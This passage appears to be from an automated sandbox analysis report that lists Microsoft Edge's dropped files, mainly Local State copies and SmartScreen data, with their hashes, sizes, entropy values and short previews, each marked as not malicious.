SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Ntbz8hu3VlXr4CRo1
MD5:	04B69795C6E7A162351B9C0C38DD8919
SHA1:	F9A00A13CAF438DA05035DB10287F94F75025372
SHA-256:	237BC5AE28EFBC1774D496F687EC0697B042D5095B7D58A8E2069CE511D01261
SHA-512:	462909EE19BB26127E0A300D47B99CDF54184D27BF6421F7FCB326A92FF93E40AC4F19CB58E1056698700FAB54DBBC121349320372CF740CB3594DF717A1BDD1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3735c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090776521769327
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Ntbz8hu3VlXr4CRo1
MD5:	04B69795C6E7A162351B9C0C38DD8919
SHA1:	F9A00A13CAF438DA05035DB10287F94F75025372
SHA-256:	237BC5AE28EFBC1774D496F687EC0697B042D5095B7D58A8E2069CE511D01261
SHA-512:	462909EE19BB26127E0A300D47B99CDF54184D27BF6421F7FCB326A92FF93E40AC4F19CB58E1056698700FAB54DBBC121349320372CF740CB3594DF717A1BDD1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3759e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090776521769327
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Ntbz8hu3VlXr4CRo1
MD5:	04B69795C6E7A162351B9C0C38DD8919
SHA1:	F9A00A13CAF438DA05035DB10287F94F75025372
SHA-256:	237BC5AE28EFBC1774D496F687EC0697B042D5095B7D58A8E2069CE511D01261
SHA-512:	462909EE19BB26127E0A300D47B99CDF54184D27BF6421F7FCB326A92FF93E40AC4F19CB58E1056698700FAB54DBBC121349320372CF740CB3594DF717A1BDD1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39c51.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090776521769327
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Ntbz8hu3VlXr4CRo1
MD5:	04B69795C6E7A162351B9C0C38DD8919
SHA1:	F9A00A13CAF438DA05035DB10287F94F75025372
SHA-256:	237BC5AE28EFBC1774D496F687EC0697B042D5095B7D58A8E2069CE511D01261
SHA-512:	462909EE19BB26127E0A300D47B99CDF54184D27BF6421F7FCB326A92FF93E40AC4F19CB58E1056698700FAB54DBBC121349320372CF740CB3594DF717A1BDD1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d310.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090776521769327
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Ntbz8hu3VlXr4CRo1
MD5:	04B69795C6E7A162351B9C0C38DD8919
SHA1:	F9A00A13CAF438DA05035DB10287F94F75025372
SHA-256:	237BC5AE28EFBC1774D496F687EC0697B042D5095B7D58A8E2069CE511D01261
SHA-512:	462909EE19BB26127E0A300D47B99CDF54184D27BF6421F7FCB326A92FF93E40AC4F19CB58E1056698700FAB54DBBC121349320372CF740CB3594DF717A1BDD1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48653.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090776521769327
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Ntbz8hu3VlXr4CRo1
MD5:	04B69795C6E7A162351B9C0C38DD8919
SHA1:	F9A00A13CAF438DA05035DB10287F94F75025372
SHA-256:	237BC5AE28EFBC1774D496F687EC0697B042D5095B7D58A8E2069CE511D01261
SHA-512:	462909EE19BB26127E0A300D47B99CDF54184D27BF6421F7FCB326A92FF93E40AC4F19CB58E1056698700FAB54DBBC121349320372CF740CB3594DF717A1BDD1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4e7cc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090776521769327
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE16Ntbz8hu3VlXr4CRo1
MD5:	04B69795C6E7A162351B9C0C38DD8919
SHA1:	F9A00A13CAF438DA05035DB10287F94F75025372
SHA-256:	237BC5AE28EFBC1774D496F687EC0697B042D5095B7D58A8E2069CE511D01261
SHA-512:	462909EE19BB26127E0A300D47B99CDF54184D27BF6421F7FCB326A92FF93E40AC4F19CB58E1056698700FAB54DBBC121349320372CF740CB3594DF717A1BDD1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
